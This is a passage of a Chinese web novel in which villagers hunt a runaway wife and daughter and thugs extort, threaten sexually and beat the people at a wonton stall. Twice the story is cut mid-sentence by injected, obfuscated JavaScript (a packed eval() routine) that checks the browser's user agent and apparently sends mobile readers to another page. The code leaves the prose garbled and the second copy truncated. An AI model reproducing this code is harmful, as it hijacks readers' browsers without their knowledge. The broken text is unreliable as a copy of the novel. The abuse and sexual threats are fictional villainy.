然而,李豆宝却根本不理会父亲的质问,气鼓鼓地嚷道:“哼,我才不管那么多呢!我现在就要回家!你到底走不走?要是你不走,那我可就自己先走喽!”话音未落,只见李豆宝头也不回地转身朝着门外大步走去。 李大虎见状,心里那个急呀,连忙在后面一边追着一边大声呼喊着:“哎呀,我的小祖宗哟,你这究竟是在发哪门子的脾气嘛?有话好好说不行吗?” 而此时,一旁的李安硕也赶紧提起装着烧鸡的篮子,匆匆忙忙地跟了上去,并喊道:“等等,别忘了带上烧鸡啊!” 李大虎闻声,赶忙伸手接过了篮子,然后加快脚步追到了儿子跟前,苦口婆心地劝说道:“豆宝啊,你看,咱们可是和你万原叔一块儿出来的呀,大家一起来自然也要一起回去才行,总不能就这样把他一个人丢在这里不管不顾吧?这样做可不太好吧。” 豆宝兴奋地挥舞着小手说道:“那我们现在赶紧去找他吧,只要找到他,咱们就马上回家!” 李大虎心里暗自盘算着,既然已经知道媳妇就在这里,那就不用太着急了。反正过两天,自己再悄悄来找她就行。眼下最重要的还是先把儿子给安抚好,毕竟这小家伙要是一直跟着,肯定会妨碍到自己的。 于是,李大虎爽快地应道:“行嘞,宝贝儿子,咱这就出发去找你万原叔!” 说完,李大虎转头看向李安硕,脸上露出一丝疑惑问道:“你说说看,万原那小子,这会儿能跑到哪儿去呢?他之前不是口口声声说要把他媳妇给带回去嘛,可你知不知道他媳妇到底藏在什么地方呀?” 李安硕迷茫地摇了摇头回答道:“我也不知道啊。”然后又思索了一阵说道:“不过前些日子,有一回他吃了个包子后,非要说那是他媳妇亲手做的。要不……咱们干脆去那个卖包子的小摊那儿找找看吧,说不定能在那儿发现点线索呢!” 只见三个人一边交谈着,一边迈着大步朝着西街方向走去。一路上,他们谈笑之间,似乎对即将发生的事情毫不知情。 镜头一转,咱们再来说说这李万原。他闷着头,一声不吭地径直走到了馄饨摊前。突然,只听得“砰”的一声巨响,原来是他猛地用力拍在了那张破旧的木桌上,整个桌面都跟着颤抖起来。他瞪大双眼,满脸怒容地冲着摊主蒋晶晶吼道:“你快说,到底把我的老婆孩子藏到哪里去了?” 这突如其来的一幕可着实把蒋晶晶吓得不轻,她身子一颤,差点没站稳脚跟。待稍稍缓过神来后,她一脸无辜地说道:“这位大哥,您怕是认错人了吧?我们……我们好像并不认识呀!” 然而,此时的李万原根本听不进去任何解释,他怒气冲冲地反驳道:“少在这里跟我强词夺理!什么认错了?就算你化成灰,我也能一眼认出你来!” 见此情形,蒋晶晶心中越发觉得委屈和困惑,她连忙摆手说道:“大哥,这里面肯定有什么误会啊!要不然这样,今天这顿馄饨算小妹我请客,咱们坐下来好好聊聊,行不?” 第95章 绝对不可能 可是,李万原哪还有心思吃馄饨,他直接朝着馄饨摊里屋大声呼喊起来:“何芊菊,你个死婆娘,赶紧给老子滚出来!要是再敢躲着不见我,等老子把你找出来了,非打断你的狗腿不可!” 蒋晶晶恍然大悟一下子便明白了,心中暗自思忖道:“原来是这样啊,怪不得呢,原来眼前这个凶神恶煞的家伙竟然就是何芊菊的丈夫、冬雪的父亲呀!”她不禁感到有些惊讶,但同时又觉得事情变得愈发复杂起来。 蒋晶晶皱起眉头,略带埋怨地说道:“哎哟喂,我说大哥啊,昨天我从外面回来的时候,压根就没有见到过她们母女二人。当时我心里还直犯嘀咕呢,这好端端的给我帮忙照看个摊子,结果人却不见了踪影。更可气的是,就连这摊子都让人给推翻了,也不知道究竟是哪个挨千刀的混蛋干出这种缺德事儿来!” 站在对面的李万原听后,瞪大了眼睛,怒不可遏地吼道:“少他妈在这里装蒜!告诉你,那就是老子干的,咋滴啦?你今天要是不赶紧把我的媳妇和孩子给交出来,老子绝对不会善罢甘休,照样会把你的摊子砸得稀巴烂!你信不信?” 蒋晶晶一听这话,顿时气得满脸通红,她强压着心头的怒火回应道:“这位大哥,你先消消气好不好?你要找你的老婆孩子,这跟我能有啥关系嘛?我真的啥也不知道啊!” 然而,李万原则根本不听蒋晶晶的解释,依旧**地叫嚷着:“哼,少废话!昨天她们明明就在你这儿待着呢,今天要是找不到她们,老子就赖在这儿不走了!”说罢,他一屁股坐在了地上,摆出一副不达目的誓不罢休的架势。 见此情形,蒋晶晶也是无可奈何,只得赌气地甩下一句:“行,随便你吧!爱咋咋的!” 李万原瞪大双眼,恶狠狠地吼道:“哼!谁要是敢到她这儿来买馄饨,来一个我就揍一个,来一对我就打一双!我倒是要看看,她这破生意还能怎么做下去!”他一边说着,一边挥舞着拳头,仿佛随时都会冲上前去**一般。 蒋晶晶则满脸委屈地哭诉起来:“街坊邻居们呐,你们可一定要给我评评这个理呀!就在前些日子,有一对可怜的母女俩突然晕倒在了我的这小摊位前面。当时大家应该都看到了吧,可以替我做个证啊!我见她们那么可怜,实在不忍心不管不顾,就好心地把她们扶进我家里去,还好吃好喝的伺候了他们一段时间。可是万万没有想到哇,这竟然是一家子没良心的恶人!昨天那对母女趁着我不在家的时候,偷偷摸摸地把我的钱全都给偷走啦!今天可好,又冒出来这么一个专门来找事儿的家伙!我的命咋就这么苦哟,我不就是为了能养活自己家里那个娃,才辛辛苦苦弄了这么个小小的馄饨摊嘛!呜呜呜……”她越说越伤心,泪水止不住地往外流,赶忙拿起手帕不停地擦拭着。 这一下可不得了,周围的街坊们纷纷交头接耳、议论纷纷。有的人对着李万原指指点点,毫不客气地指责他不知好歹、忘恩负义;还有的人摇头叹息,感叹蒋晶晶命运多舛、遭遇如此不公。一时间,各种声音此起彼伏,全都是在数落李万原的不是。 李万原满脸怒容,气得浑身发抖,他瞪大双眼,扯着嗓子吼道:“关你们什么事儿,今天要是找不着她们娘俩儿,我还真就赖在这里不走了!” 一旁的蒋晶晶也是一脸的愤怒与无奈,她冲着周围看热闹的人挥挥手说道:“各位都请回吧,今天这生意啊,我不做了就是!”说罢,便转过身准备进屋。 然而,李万原却一个箭步冲上前去,拦住了蒋晶晶的去路,恶狠狠地盯着她问道:“你别走,你还没告诉我,我媳妇儿到底在哪儿呢!” 蒋晶晶毫不示弱地瞪了回去,斩钉截铁地回答道:“我不知道!”随后用力一甩胳膊,挣脱开李万原的阻拦,转身快步走进屋里,并“砰”的一声重重地关上了房门。 被拒之门外的李万原并没有死心,他在门口来回踱步,嘴里不停地嘟囔着,心中的怒火越烧越旺。就在这时,李安硕和李大虎他们气喘吁吁地找了过来。李大虎看着在门外焦急徘徊的李万原,好奇地问道:“兄弟,你咋在这儿转悠个不停呢!” 李万原长长地叹了口气,懊恼地说道:“哎,别提了,不知道那两个倒霉的赔钱货又跑到哪里去了?早知道会这样,昨天我就应该心狠一些,直接打断她们的腿,看她们还敢不敢乱跑!”说完,他用脚狠狠地踢向旁边的一块石头,以此来发泄心中的愤恨。 李大虎皱起眉头说道:“这豆宝一直吵嚷着要回家,要不咱们就先回去吧,等明天咱再一块儿出来寻找。”他看着一脸倔强的李万原,无奈地摇了摇头。 李万原则目光坚定地盯着前方,大声回应道:“你们先回去好了!我就在这里守着,我就不信她们会一直躲着不出来!”他的眼神充满了执拗和不甘。 一旁的李安硕有些疑惑地问道:“你真的确信是她们吗?” 李万原瞪大眼睛,没好气地回答说:“这还用问?那可是我的媳妇和孩子,我怎么可能认错呢!昨天明明差一点我就能把她们俩抓住了,谁知道那个贱女人居然狠狠咬了我一口,然后趁机带着孩子逃跑了!”说到这里,他撸起袖子,露出手臂上清晰可见的咬痕。 看到那深深的牙印,李安硕这才恍然大悟。回想起之前郭美娟突然捂住他的眼睛,并使劲将他拉走的情景,原来一切都是有原因的。毫无疑问,那热气腾腾的包子肯定是何芊菊亲手制作的,她之所以这么做,显然是不愿意让李万原找到她们母子二人。 然而,令人意想不到的是,恰恰因为这几个小小的包子,最终还是被李万原给发现了踪迹。想到此处,李安硕不禁在心中暗暗叫苦不迭,这可真是一波未平一波又起,让人头疼不已,这都叫什么事儿啊! 李安硕一脸焦急地对李万原说道:“万原啊,听兄弟一句劝,咱还是先回家吧!昨天她们都已经见过你了,今天指定不会再留在这儿啦。她们既然不愿意跟你回去,肯定会想方设法躲开你的呀!” 李万原瞪大了眼睛,满脸狐疑地看着李安硕,没好气儿地回怼道:“诶哟喂,我说你这话说得可真够难听的哈!你到底啥意思啊?给我老老实实交代清楚,上次那个香喷喷的大包子,是不是她特意送你的?还有啊,你是不是老早之前就晓得她在这个地方,却故意瞒着我不告诉我?” 李安硕被李万原这么一通质问,气得直跺脚,涨红着脸争辩道:“你这家伙怎么能这样想我呢?我……我哪有什么理由要骗你嘛!” 李万原却不依不饶,阴阳怪气地继续说道:“哼,那可难说哦!谁知道你心里头究竟打的什么算盘呢?说不定啊......说不定你和我家那口子之间还真有点什么不清不楚的关系呢!” 这时,一直在旁边冷眼旁观的李大虎实在看不下去了,忍不住插嘴道:“哎呀,万原呐,瞧瞧你都说些啥胡话!你就算怀疑任何人,也不能怀疑安硕呀!听说他媳妇儿还是你亲表妹呢,这种事情怎么可能发生嘛!” 李万原一脸愤愤不平地说道:“他又不是没干过睡人媳妇儿这种龌龊事,我不防着点他还能怎么办?” 话音未落,只见李安硕怒目圆睁,如同一头发狂的狮子般冲了过来,扬起拳头便朝着李万原狠狠地砸去。只听“砰”的一声闷响,那结结实实的一拳直接落在了李万原的脸上。 李大虎见状,先是一愣,随即便像个没事人一样站在一旁看起戏来,嘴里还念叨着:“哟呵,居然还有这等事儿呢?快给哥讲讲到底咋回事儿呗!” 李万原捂着被打的脸颊,瞪大眼睛看着李安硕,怒吼道:“**的竟真的动手打我……” 然而,李安硕根本不理会他的叫嚣,依旧气势汹汹地吼道:“谁让你在这里信口胡诌、胡说八道!”说着,两人再次扭打在了一起,一时间难解难分。 见此情形,李大虎赶忙上前拉架,费了九牛二虎之力才将两人分开。他一边喘着粗气,一边埋怨道:“哎呀,好端端的,你们俩怎么说打就打上了?真是不让人省心呐!” 待两人稍稍平静下来后,李大虎转头看向李万原,皱着眉头说道:“我说万原兄弟啊,你这张嘴可真够欠揍的!人家安硕可是你亲表妹夫啊,平日里也没招惹到你吧,你怎能这般无端猜疑人家呢?就算有人说他要偷我的媳妇儿,我都绝对不会相信,哈哈哈哈!” 此话一出,犹如一道惊雷在空中炸响,瞬间吸引了两人的目光。只见李万原和李安硕两人的视线不约而同地转向了李大虎所在的方向,仿佛那里有着什么令人瞩目的东西一般。尤其是李安硕,他的神情显得格外紧张,喉咙不自觉地滚动了一下,艰难地吞下一口唾沫。 这时,李万原满脸懊悔之色,抬手轻轻扇了自己一个嘴巴子,嘴里嘟囔着:“哎呀,瞧我这张嘴,真是犯贱啊!我该死,我该打,安硕兄弟,实在对不住啦!” 李安硕见状,连忙摆了摆手,说道:“不不不,这事不能全怪你,要怪也只能怪我太冲动,不该动手**的!唉......不说这些了,我还是赶紧去市场买条鱼吧,然后就先回家了。等做好了鱼汤,我给你留一碗!你也早点回吧。”说完,他便转身急匆匆地离去,脚步快得像是后面有什么可怕的东西在追赶一样。 李万原看着李安硕远去的背影,忍不住喊道:“嘿,还有鱼汤喝可太好了!记得告诉我表妹一声,让她在鱼汤里多放点儿醋啊,我这人就爱喝那酸溜溜的鱼汤!” 然而,李安硕却好似没有听到一般,头也不回地继续往前走,眨眼间便消失在了街角处。 一旁的李大虎见状,不禁摇了摇头,数落起李万原来:“瞧瞧人家安硕,多好的兄弟啊,不仅不计较你说错话,还主动给你留鱼汤喝呢。再看看你,就凭你那张破嘴,挨顿打也是活该!” 李万原一听这话可不乐意了,他瞪大了眼睛反驳道:“嘿,我说大虎哥,你怎么能这么说我呢?想当年,我不过就是跟你媳妇儿说了一句话而已,结果你倒好,二话不说上来就把我揍了个半死,下手可真够狠的啊!” 李大虎瞪大了眼睛,怒气冲冲地指着李万原说道:“哼,我可是亲眼看到你摸我媳妇儿手了,你居然还有脸辩解......算了,咱们还是别当着孩子的面扯这些有的没的了!” 李万原满脸涨得通红,结结巴巴地回应道:“是...……我当年真的是被冤枉的呀!天地良心,我对嫂子那会儿可是半点非分之想都不敢有哇!”他一边说着,一边紧张地搓着手。 李大虎轻哼一声,摆了摆手说道:“行了行了,过去那些陈芝麻烂谷子的事就让它过去吧,我早就不放在心上啦!不过话说回来,像安硕那么老实巴交的孩子,你以后可别再乱说话了!你要是说他是那种人,绝对不可能!打死我也不信!我这双眼睛看人可从来不会走眼的!”说完,他自信满满地拍了拍自己的胸脯。 此时,李万原心里暗自嘀咕起来:就凭你这眼光,怕是家里东西都要被别人给偷光咯! 但表面上却依旧陪着笑脸问道:“那依您看呐,咱村里头谁才算是最好的人呢?我以后也好见着了绕着点走,哦不对,是跟人家好好交个朋友!” 李大虎一听这话,顿时乐开了花,咧嘴笑道:“嘿,要说这村里最好的人嘛,那自然是非我莫属啦,哈哈哈!”接着又是一阵爽朗的大笑声。 笑罢,李大虎收住笑容,看着李万原问道:“怎么样,你到底回不回去?要是不回的话,那我们可就要先走喽!” 李万原眉头微皱,沉思了一小会儿后说道:“那咱们还是一块儿走吧。仔细想一下,李安硕讲得确实蛮有道理的。等过些日子再 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15165898|165120||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 去找她们就是了嘛。而且回家还有美味的鱼汤喝,为啥不回去呢?对吧?” 于是乎,大家就这么兴高采烈地回到了家中。只见李安硕手里紧紧拎着一条体型硕大的草鱼,那鱼儿活蹦乱跳的,仿佛想要挣脱束缚重回自由之身。几个孩子一瞧见安硕回来了,立马像脱缰的野马一般飞奔而来,嘴里兴奋地叫嚷着:“哇哦……有大大的鱼可以吃啦!”他们围着李安硕又蹦又跳,脸上洋溢着难以掩饰的喜悦之情。 这时,郭美娟也快步迎了上来,她先是上下打量了一番李安硕,随后用手指了指他的脸,满脸关切地比划着询问道:“哎呀,你这脸究竟是咋回事呀?” 李安硕满不在乎地摆了摆手,微笑着回答道:“没啥事儿,今儿个你啥都不用管,只管舒舒服服地歇着就行。看我的,我要亲自下厨给你们露一手!” 听到这话,郭美娟不禁瞪大了眼睛,一脸狐疑地比划道:“你来做?真的假的?” 李安硕坚定地点了点头,应声道:“当然是真的啦!平日里都是你忙前忙后端茶送饭、洗衣做饭的,可辛苦了。所以今儿个就让我来表现表现!”说完,他便转身一头扎进厨房,开始独自忙活起来。 这边,李大虎也领着儿子踏进家门。他小心翼翼地将手中那个沉甸甸的篮子递到王小凤面前,乐呵呵地说道:“娘,快瞧瞧这满满当当一篮子好东西!又是鸡又是肉的,咱们这回可有口福了!” 王小凤满心欢喜地接过篮子,好奇地探头往里瞧去,脸上瞬间绽放出幸福的笑容:“哟,瞧瞧这些东西,这可得花不少钱吧?你到底从哪儿弄来这么多钱去买这些玩意儿的呀?” 王小凤一边翻看着桌上摆放着的各种物品,一边惊讶地问道。突然,她眼睛一亮,发现在一堆新鲜的肉块下面竟然还压着几张钞票,顿时惊叫道:“哎呀妈呀,这肉底下居然还藏着点儿钱呢!这……这究竟是打哪儿来的啊?” 站在一旁的李大虎挠了挠头,露出憨厚的笑容说道:“啥?还有钱呐?这一路上我可是一点儿都没察觉到啊!” 王小凤皱起眉头,满脸狐疑地猜测道:“那这是谁给你的?咱可不能平白无故地欠下这份人情啊!” 李大虎咧开嘴,笑得格外灿烂,毫不犹豫地回答道:“嘿,还能有谁啊?肯定是小翠呗!” 听到这个名字,王小凤撇了撇嘴,一脸不屑地反驳道:“她?她会有这么好心肠?哼,我才不信呢!” 李大虎皱了皱眉,一脸无奈地说道:“就算她有再多的不是,她毕竟是豆宝的亲娘啊!这血缘关系可是割舍不断的。”他重重地叹了口气,眼中流露出一丝复杂的情感。 这时,一直躲在角落里默不作声的李豆宝气鼓鼓地冲出来喊道:“她才不是我娘呢,我永远都不会承认她是我娘的!” 王小凤连忙搂住李豆宝,附和着他说道:“对对对,俺们家豆宝说得没错,别以为随便买点好吃好喝的就能把咱们给收买喽!” 李大虎一脸惊愕地看着眼前争吵不休的两人,眉头紧皱,语气中充满了不解和责备:“你俩怎么这样?有话不能好好说嘛!” 站在一旁的李豆宝满脸愤怒与委屈,眼眶泛红,泪水在打转,冲着李大虎大声吼道:“是她先不要我的,我现在也不要她了!”仿佛心中压抑已久的情绪瞬间爆发出来。 这时,王小凤双手叉腰,瞪大双眼,怒不可遏地反驳道:“你是吃了秤砣铁了心了吗?那种狠心的女人要她回来做什么?咱们这个家根本不需要她!没有她,豆宝不照样健健康康、快快乐乐地长大了!”说完,她狠狠地瞪了一眼李大虎,似乎对他的态度极为不满。 李大虎面对强势的母亲,一时语塞,不知道该如何回应。他无奈地摇了摇头,转身默默地回到屋里,一头倒在床上。 李万原哼着小曲儿,迈着悠闲的步伐朝着李安硕的家走去。 当他到达李安硕家门口时,一股浓郁的香气扑鼻而来。原来,李安硕早已炖好了一锅鲜美的鱼汤,并将其小心翼翼地端到了餐桌上,旁边还摆放着两碟精致可口的小菜。 李万原一进门便迫不及待地冲向餐桌,伸手抓起一个大大的馒头,嘴里不停地赞叹道:“哎呀,这鱼汤真是太香啦!我可就不客气喽!”说着,他便大口大口地吃了起来。 一边狼吞虎咽,李万原还不忘含含糊糊地说道:“安硕啊,真对不住哈,我保证以后再也不乱说话啦!” 然而,李安硕只是白了他一眼,没好气地回了一句:“赶紧吃你的饭吧,闭上嘴巴!” 听到这话,李万原不仅没有生气,反而嘿嘿一笑,继续没心没肺地享受起美食来。看着两人如此这般的互动,一旁的郭美娟心里不禁泛起了嘀咕。她暗自琢磨着,瞧这两人脸上的伤势,想必是之前发生过什么还动了手。不过,让她感到奇怪的是,李安硕平日里一直都是个脾气温和、性格沉稳的人,怎么会突然间发这么大火呢?想来想去,郭美娟觉得问题肯定出在表哥身上,定是他做了什么过分的事才惹得李安硕大动干戈。 心情烦闷的李大虎这一夜翻来覆去难以入眠,不知过了多久,才迷迷糊糊进入梦乡。 在梦中,李大虎看到了一个熟悉而又美丽的身影——小翠。只见她像一只欢快的蝴蝶在一望无际的田野中自由奔跑着。她那乌黑亮丽的头发随风飘动,脸上洋溢着灿烂的笑容。李大虎望着小翠的背影,情不自禁地跟了上去,一边跑一边呼喊着小翠的名字。 渐渐地,李大虎离小翠越来越近,眼看就要牵到小翠那纤细的手时,突然一阵刺耳的鸡鸣声打破了宁静。 李大虎猛地睁开眼睛,从美梦中惊醒过来。他有些懊恼地坐起身来,抬手用力地拍了一下自己的脑门,嘴里嘟囔着:“哎呀!真是连个美梦都不让人做完啊!” 第96章 ** 清晨时分,阳光刚刚洒落在街道上,蒋晶晶如往常一样早早地摆好了摊位,开始熟练地包着馄饨、煮着馄饨汤。没过多久,她的小摊子前就围满了顾客,生意异常红火。 就在这时,突然有两三个人晃晃悠悠地走了过来。他们流里流气,一看就是附近游手好闲的街溜子。 为首的那个家伙大摇大摆地走到桌前,一屁股坐下,身后紧跟着的一个小弟立刻扯着嗓子喊道:“喂,老板,有没有点儿眼力见儿啊,还不赶紧给我大哥来碗馄饨!” 蒋晶晶听到这话,心里不禁有些厌烦,但还是强忍着情绪,迅速煮好了一碗馄饨,稳稳当当地端到了那领头人的面前。可谁知,另一个人见状却又叫嚣起来:“一碗哪够我们三个人分呢?你瞎呀,没看见我们这儿是三个人吗?” 面对这样无理取闹的要求,蒋晶晶并没有生气,而是微微一笑,转身又走进厨房忙碌起来。不一会儿,她就端着另外两碗热气腾腾的馄饨走了出来,轻轻放在桌上。 然而,事情并未就此结束。只见那带头的人风卷残云般吃完自己碗中的馄饨后,一抹嘴,竟然大声嚷嚷道:“你这馄饨也太少了吧,根本不够吃啊!你是不是故意想骗老子的钱?” 蒋晶晶听了这话,心中虽然委屈,但依然保持着礼貌和冷静,耐心解释道:“我这每一碗馄饨的量都是固定的。如果您觉得不够吃的话,可以再来一碗呢。” “什么?你这是什么意思?难道还要怪罪到老子头上不成?”那人一听这话,瞬间怒火中烧,面色涨得通红,额头上青筋暴起。他怒不可遏地猛拍了一下面前的桌子,只听“砰”的一声巨响,桌上的碗筷都被震得跳了起来。 紧接着,他嚯地从座位上站起身来,朝着地上啐了一口唾沫:“**晦气!”转身就要离开!。 就在这时,一直沉默不语的蒋晶晶赶紧开口说道:“几位客人,不好意思,麻烦您先结一下账可以吗?” 然而她话音未落,其中一人便哈哈大笑起来,满脸不屑地嘲讽道:“哟呵,你这女人胆子倒是不小啊,居然敢问我们大哥要钱?你也不去打听打听,这附近做买卖的有谁敢收我大哥的钱?” 蒋晶晶面露难色,连忙解释道:“实在对不起各位,我只是做点小本生意养家糊口而已,真的赚不了几个钱呀......” 话还没说完,就见另一人不耐烦地打断了她:“少废话!给我滚到一边儿去,也不撒泡尿照照自己,看看自己到底有几斤几两重!”说罢,竟然飞起一脚朝着蒋晶晶踹了过去。 周围吃饭的人见有人**,都麻溜儿的跑掉了,谁也不愿意多管闲事! 正在这千钧一发之际,蒋依依像一阵风似的从里屋跑了出来。只见她小脸气得鼓鼓的,大声喊道:“你们这些坏蛋,吃了馄饨不但不给钱,竟然还敢在这里欺负人!” 听到蒋依依的怒斥声,那群人先是一愣,随即又哄堂大笑起来。其中一个流里流气的家伙更是嬉皮笑脸地凑上前去,阴阳怪气道:“哎呦呦,没想到这儿还有个水灵灵的小妹妹啊。怎么啦,小妹妹,你想要钱是吗?那行啊,只要你乖乖地跟着哥哥们走一趟,钱嘛自然少不了你的哟!” 看到这群人的丑恶嘴脸,蒋晶晶的心都提到了嗓子眼儿。她毫不犹豫地一步跨上前去,将女儿紧紧地护在了自己身后,同时怒目圆睁,厉声喝道:“你们休想动我女儿一根汗**!否则我跟你们拼了!” “哼,别不识趣!老子不收你钱那可是瞧得起你了,识相的就赶紧给我滚远点,要是再敢来招惹老子,信不信我让你这破摊子从此再也开不下去!”说话之人一脸凶神恶煞,眼神中透露出一股狠厉之色。 蒋依依虽然年纪尚小,但面对如此威胁却毫无惧色,她挺了挺胸脯,大声说道:“我们才不怕你呢!胡叔叔一定会狠狠教训你的!” 那人听到这话,先是一愣,随后仰头大笑起来:“哈哈哈哈……她竟然提到那个姓胡的家伙?真是笑死我了!”笑声在空气中回荡着,显得格外刺耳。 “你们难道还不知道吗?那个姓胡的不知天高地厚,三番两次地跑出来坏老子的好事儿,老子早就对他忍无可忍了!前儿个,哥几个可是趁着天黑好好出了顿恶气呢!”说到这里,这人的脸色变得越发狰狞起来,仿佛与那姓胡之人有着深仇大恨一般。 一直站在旁边未曾开口的蒋晶晶此时忍不住出声问道:“什么?原来是你们干的?” 只见那人得意洋洋地点了点头,满不在乎地回答道:“没错,就是我们哥几个干的!嘿嘿,估计这小子没个把月时间根本下不了床,看他以后还怎么有胆子跟我们作对!”说完,他又放肆地笑了起来,似乎对于自己的所作所为感到无比自豪。 就在这时,蒋依依张了张嘴,似乎还想说些什么,但话未出口便被一旁的蒋晶晶紧紧拉住,并向她投来一个暗示的眼神,那眼神仿佛在告诫她千万不要再招惹眼前的这几个人。 然而,那几个人显然并没有就此罢休的意思。他们脸上挂着不怀好意的笑容,其中一人挑了挑眉,斜眼看着蒋晶晶和蒋依依说道:“哥儿几个肚子可还饿着呢,你们说说看,这该如何是好啊?” 蒋晶晶闻言,连忙赔着笑脸回应道:“各位大哥稍等片刻,我马上再给你们煮一碗就是了。”说着,她转身就要往炉灶走去。 可谁知,那个人竟然迅速伸出手,用力地按在了锅盖上,阻止了蒋晶晶的动作。他嘴角微微上扬,露出一丝让人毛骨悚然的笑:“嘿嘿,那倒也不必这么麻烦啦。说来也怪,我们兄弟几个这会儿突然又觉得不太想吃东西了。不过嘛……”说到这里,他顿了一顿,目光缓缓移到了站在一旁的蒋依依身上,上下打量起来,嘴里接着说道:“瞧瞧这小丫头,长得真是细皮嫩肉的,哥儿几个光是看着就打心眼里喜欢得紧呐,你们说是吧?” 其余几人听了这话,纷纷点头应和着,同时将贪婪的目光全都集中到了蒋依依身上。 见此情形,蒋晶晶心中暗叫不好,她赶忙压低声音对着女儿急促地说道:“依依,快跑!” 听到母亲的话,蒋依依先是一愣,紧接着像是明白了什么似的,毫不犹豫地转身拔腿就跑。她娇小的身影如同一阵疾风般瞬间消失在了门口,而她脑海中的第一个念头便是赶紧去找胡良全前来帮忙! 只见蒋晶晶张开双臂,如同护雏的母鸡一般拦住那几个气势汹汹的彪形大汉,声嘶力竭地喊道:“各位好汉,请高抬贵手!我女儿她还只是个年幼无知的孩子呀,这点儿小钱全当是我对诸位的一点敬意,拿去买茶喝吧!”说着,她从口袋里掏出几张皱巴巴的钞票,颤抖着递到那些人的面前。 然而,这些人哪里会把这点儿钱看在眼里。为首的那个满脸横肉、凶神恶煞的家伙一把将钞票打掉在地,恶狠狠地骂道:“谁稀罕你那点儿臭钱,简直就是在打发叫花子!哼,不过这小丫头片子倒是跑得挺快,但既然她跑掉了,咱们哥几个不妨一起来品尝一下这位风韵犹存的小嫂子的美妙滋味啊!哈哈哈哈……”他一边淫笑着,一边搓着那双肮脏的大手,带领其他几人一步步向蒋晶晶逼近。 蒋晶晶见状,心中又惊又怒。她环顾四周,突然发现身旁炉灶上正煮着一锅滚烫的开水。来不及多想,她迅速舀起满满一碗开水,毫不犹豫地朝那几个无耻之徒身上泼去!只听“哗啦”一声响,伴随着几声惨叫,那几人猝不及防之下被开水溅得一下跳开,顿时被烫得龇牙咧嘴,痛苦不堪。 那几人恼羞成怒,其中一个眼尖手快的家伙猛地冲上前去,飞起一脚便将蒋晶晶赖以谋生的馄饨摊子踢翻在地。随着一阵稀里哗啦的声响,碗碟破碎,汤水四溅。他得意洋洋地叫嚣道:“嘿嘿,这下子看你还有什么能耐!没了热水,我倒要看看你还能耍出什么花样来!” 面对如此蛮横无理之人,蒋晶晶气得脸色发青。她顺手抄起手中的锅勺,发疯似的朝着那几人猛扑过去,口中不停地怒骂着。但毕竟她只是一介弱质女流,如何敌得过这群如狼似虎的歹徒。没几下功夫,她手中的锅勺就被对方夺了过去,紧接着,一只粗壮有力的大手如同铁钳一般紧紧抓住了她的两只手腕。刚才那个带头**的家伙一脸狰狞地冷笑道:“瞧瞧你这副泼辣的样子,何必呢?只要你乖乖顺从我们,保证让你少吃点苦头!否则的话,可别怪我们哥儿几个不客气啦!” 突然间,一声怒喝犹如惊雷般炸响:“把你的手给我拿开!”循声望去,只见胡良全一瘸一拐地拄着拐杖,脚步匆匆地从屋内冲了出来。他满脸怒气,那根拐杖似乎也成了他愤怒的延伸。 见到胡良全这副模样,在场的几个人先是一愣,随后便哄堂大笑起来。其中一人指着胡良全嘲笑道:“哟呵,瞧瞧这是谁啊?这不就是那个倒霉蛋胡良全嘛!都已经伤成这副德行了,居然还有心思跑出来英雄救美呢?哈哈哈哈……”其他人也跟着附和着,笑声此起彼伏。 然而,面对众人的嘲笑与讥讽,胡良全却丝毫不以为意。他挺直了身子,眼神坚定地盯着眼前这群人,大声回应道:“哼!就算我受了伤又怎样?想要收拾你们这几只臭虫,对我来说还是轻而易举的事情!” 这时,一直站在一旁的蒋晶晶快步走到胡良全身旁,关切地问道:“胡大哥,你怎么过来了呀?你的腿伤还没好呢,万一再加重可怎么办?”胡良全转头看向蒋晶晶,脸上露出一丝温柔的笑容,说道:“别怕,依依跑去告诉我说有人在这里欺负你们,我当然不能坐视不管啦!” 就在两人说话间,刚才带头嘲笑胡良全的那个人不耐烦地吼道:“行了行了,少在那儿卿卿我我的,腻歪**!有本事咱们手上见真章,看看到底谁笑到最后!”话音未落,只见此人挥舞着拳头,如饿虎扑食一般朝胡良全猛扑过去。 胡良全即便是一条腿缠着纱布,但是依旧用手肘顶向他的后背后又顶向了他的肚子,那人吃疼的捂着肚子跪了下去,另外一个见状偷偷抄起了根棍子,趁其不备狠狠的打在了胡良全的那条受伤了的腿上,胡良全一时没站稳便倒了下去,那两个人看准时机,便朝着胡良全拳打脚踢! 蒋晶晶见到眼前这一幕,心中猛地一惊,毫不犹豫地飞身向前扑去,嘴里急切地喊道:“求求你们,不要再打他了!” 那为首之人听到声音,嘴角微微上扬,露出一丝戏谑的笑容,阴阳怪气地说道:“哎呦,怎么?这就心疼啦?这会儿才知道来求我,可有点太晚喽!”说罢,他竟然抬起脚来,毫不留情地朝着胡良全的腿部狠狠踩去! 只听得胡良全发出一声惨叫,那钻心的疼痛让他忍不住叫出了声。而此时的蒋晶晶早已心急如焚,她噗通一声跪倒在地,泪水夺眶而出,哽咽着哀求道:“都是我的错,一切都与胡大哥无关,请你们高抬贵手,饶过他吧!” 然而,胡良全却强忍着剧痛,咬着牙怒视着对方,大声吼道:“晶晶,你别求这帮混蛋!他们根本就不配得到你的乞求!” 那领头之人见状,冷笑一声,指着胡良全说道:“哼,现在就算你求我也没用了。除非这小子亲口向我求饶,并保证从今往后绝对不再找我们兄弟几个的麻烦,不再和我们作对,否则今天这事可没完!” 胡良全闻言,一口唾沫吐在了那人脸上,愤怒地骂道:“我呸!想让我求你们这群败类?做梦去吧!老子以后绝对不会放过你们任何一个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 